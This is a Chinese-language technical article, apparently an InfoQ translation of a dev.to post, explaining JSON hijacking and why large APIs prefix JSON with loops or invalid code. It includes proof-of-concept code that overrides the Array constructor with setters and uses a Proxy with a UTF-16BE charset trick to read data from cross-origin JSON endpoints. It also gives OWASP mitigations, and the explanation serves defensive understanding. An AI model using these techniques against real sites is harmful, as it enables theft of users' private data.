写点什么

你知道为什么 Facebook 的 API 以一个循环作为开头吗?

  • 2018-11-26
  • 本文字数:2417 字

    阅读完需:约 8 分钟

你知道为什么Facebook的API以一个循环作为开头吗?

如果你有在浏览器中查看过发给大公司 API 的请求,你可能会注意到,JSON 前面会有一些奇怪的 JavaScript:



为什么他们会用这几个字节来让 JSON 失效?

为了保护你的数据

如果没有这些字节,那么有可能任何网站都可以访问这些数据。


这个漏洞被称为JSON劫持,也就是网站可以从这些 API 中提取 JSON 数据。

起源

在 JavaScript 1.5 及更早版本中,可以覆盖原始类型对象的构造函数,并使用括号调用覆盖的版本。


你可以这样:


function Array(){    alert('You created an array!');}var x = [1,2,3];
复制代码


这样就会弹出 alert!


使用以下脚本替换 var x,攻击者就可以阅读你的电子邮件!


这是通过在加载外部脚本之前覆盖 Array 构造函数来实现的。


<script src="https://gmail.com/messages"></script>
复制代码

数据提取

即使你重载了构造函数,仍然可以通过 this 来访问它。


这是一个代码片段,它将 alert 数组的所有数据:


function Array() {  var that = this;  var index = 0;  // Populating the array with setters, which dump the value when called  var valueExtractor = function(value) {    // Alert the value    alert(value);    // Set the next index to use this method as well    that.__defineSetter__(index.toString(),valueExtractor );    index++;  };  // Set the setter for item 0  that.__defineSetter__(index.toString(),valueExtractor );  index++;}
复制代码


在创建数组后,它们的值将被 alert 出来!


ECMAScript 4 提案中已修复了这个问题,我们现在无法再覆盖大多数原始类型的原型,例如 Object 和 Array。


尽管 ES4 从未发布,但主要浏览器在发现后很快就修复了这个漏洞。


在今天的 JavaScript 中,你仍然可以使用类似的行为,但它受限于你创建的变量,或者不使用括号创建的对象。


这是之前的一个修订版本:


// Making an arrayconst x = [];
// Making the overriden methodsx.copy = [];const extractor = (v) => { // Keeping the value in a different array x.copy.push(v); // Setting the extractor for the next value const currentIndex = x.copy.length; x.__defineSetter__(currentIndex, extractor); x.__defineGetter__(currentIndex, ()=>x.copy[currentIndex]); // Logging the value console.log('Extracted value', v);};
// Assigning the setter on index 0 x.__defineSetter__(0, extractor);x.__defineGetter__(0, ()=>x.copy[0]);
// Using the array as usual
x[0] = 'zero';x[1] = 'one';
console.log(x[0]);console.log(x[1]);
复制代码


这是一个使用 Array 关键字创建数组的版本:


function Array(){    console.log(arguments);}
Array("secret","values");
复制代码


如你所见,你添加到数组中的数据被记录下来,但功能保持不变!


修复方案并没有阻止使用 Array 来创建数组,而是在使用括号创建对象时强制使用原生实现,而不是自定义函数。


这意味着我们仍然可以创建一个 Array 函数,但不能与方括号([1,2,3])一起使用。


如果我们使用 x = new Array(1,2,3)或 x = Array(1,2,3),它仍将被调用,但不会给 JSON 劫持留下可趁之机。

新的变体

我们知道旧版本的浏览器很容易受到这个漏洞的攻击,那么现在呢?


随着最近 EcmaScript 6 的发布,添加了很多新功能,例如 Proxies!


来自 Portswigger 的 Gareth Heyes 在博客上介绍了这个漏洞的新变体,它仍然允许我们从 JSON 端点窃取数据!


通过使用 Proxies(而不是 Accessor),我们可以窃取到任意创建的变量,无论它的名称是什么。


它可以像 Accessor 一样,但可以访问任意可访问或写入属性。


使用这个和另外一个技巧,就可以再次窃取数据!


UTF-16BE 是一个多字节字符集,一个字符由两个字节组成。例如,如果你的脚本以[“作为开头,它将被视为字符 0x5b22 而不是 0x5b 0x22。0x5b22 恰好是一个有效的 JavaScript 变量=)。


使用这个脚本:


<script charset="UTF-16BE" src="external-script-with-array-literal"></script>
复制代码


通过使用这个脚本中的一些受控数据和移位脚本,我们就可以再次渗透数据!


这是 Gareth 最后的 POC,摘自他的博文:


<!doctype HTML><script>Object.setPrototypeOf(__proto__,new Proxy(__proto__,{    has:function(target,name){        alert(name.replace(/./g,function(c){ c=c.charCodeAt(0);return String.fromCharCode(c>>8,c&0xff); }));    }}));</script><script charset="UTF-16BE" src="external-script-with-array-literal"></script><!-- script contains the following response: ["supersecret","<?php echo chr(0)?>aa"] -->
复制代码


我不会深入解释这个方法,而是建议你阅读他的帖子,以获取更多信息。

预防

这是 OWASP 的官方建议


  • 使用 CSRF 保护,如果不存在安全标头或 csrf 令牌,就不返回数据,以防止被利用。

  • 始终将 JSON 作为对象返回。


最后的解决方案很有趣。


在 Firefox 和 IE 中,这个是有效的:


x = [{"key":"value"}]x = {"key":"value"}[{"key":"value"}]{key: "value"}
复制代码


但这样不行:


{"key":"value"}
复制代码


它之所以无效是因为 Firefox 和 IE 认为括号是块语句的开头,而不是创建对象。


没有引号的符号{key:“value”}被视为标签,值被视为一个语句。

结论

虽然这些东西在今天可能是无效的,但我们永远不会知道明天将会带来什么新的错误,因此我们仍应尽力阻止 API 被利用。


如果我们把这个StackOverflow答案视为理所当然,我们就很容易受到现代变体的影响,因此仍然可能被黑客入侵。


谷歌和 Facebook 在 JSON 数据之前添加无效的 JavaScript 或无限循环,OWASP 也列出了其他替代方案。

英文原文

https://dev.to/antogarand/why-facebooks-api-starts-with-a-for-loop-1eob

活动推荐


12 月 7 日北京 ArchSummit 全球架构师峰会上,来自 Google、Netflix、BAT、滴滴、美团 等公司技术讲师齐聚一堂,共同分享“微服务、金融技术、前端黑科技、智能运维等相关经验与实践。详情点击 https://bj2018.archsummit.com/schedule


2018-11-26 14:433548
用户头像

发布了 731 篇内容, 共 481.2 次阅读, 收获喜欢 2008 次。

关注

评论 1 条评论

发布
暂无评论
发现更多内容

apipost--接口流程化测试

与风逐梦

软件测试 接口测试 软件自动化测试

英国“蓝色”氢气计划因碳足迹高遭受重击

CECBC

MySQL远程连接

一个大红包

8月日更

Linux之yum命令

入门小站

Linux

Windows Server 内存高排查

耳东@Erdong

windows 内存 Windows Server 8月日更 rammap

统计机器学习导论(一)

Databri_AI

机器学习 统计

判断是否为数组的 JavaScript 方法总结

编程三昧

JavaScript 数组 8月日更

如何构建 Spring Boot 12 因素应用

码界行者

Sprint Boot

在openGauss上做开发?这个大赛拿出30万寻找开源的你

华为云开发者联盟

数据库 开源 信创 opengauss 鲲鹏

自适应负载均衡算法原理与实现

万俊峰Kevin

负载均衡 微服务 负载均衡算法 Go 语言

FusionInsight怎么帮「宇宙行」建一个好的「云数据平台」?

华为云开发者联盟

大数据 数据仓库 FusionInsight 云数据平台 LakeHouse

数字人民币弯道超车领先世界,采用独创设计彻底根治区块链顽疾

CECBC

儿子教会我的态度

箭上有毒

8月日更

Go Channel实例剖析

非晓为骁

源码 channel Go 语言 实例分析

摸鱼小技巧之IDEA调试篇一~

4ye

Java debug 后端 IDEA 8月日更

模块一作业

Geek_fc100d

「架构实战营」

Battle:你会TLAB,我会逃逸分析

阿Q说代码

逃逸分析 8月日更 栈上分配 同步省略 标量替换

混合云时代来临,你的存储ready了吗?

焱融科技

云计算 分布式 高性能 云存储 混合云

极客时间架构实战营作业一

jjn0703

架构实战营

手撸二叉树之另一棵树的子树

HelloWorld杰少

数据结构与算法 8月日更

前端人员必会工具-apipost两分钟上手(2分钟玩转apipost)

Proud lion

大前端 测试 后端 Postman 开发工具

通过 UIView 和 UIControl 实现的蒙层,哪种更简单?

fuyoufang

swift iOS 知识体系 8月日更

Go- if-else结构

HelloBug

if Go 语言 else

遇见低码:在价值中审视

华为云开发者联盟

ide 低代码 应用 开发语言 低成本

微信业务架构图 & 学生管理系统

I see you

多看了几套房

escray

生活记录 8月日更

百度地图开发-搭建基础脚手架 01

Andy阿辉

android Android Studio 8月日更

docker入门:elk环境安装记录

小鲍侃java

8月日更

container 包详解

Rayjun

Go 语言

WEB常用HTML颜色代码表

入门小站

工具

springBoot中redis的自动装配

Rubble

8月日更

你知道为什么Facebook的API以一个循环作为开头吗?_编程语言_Antony Garand_InfoQ精选文章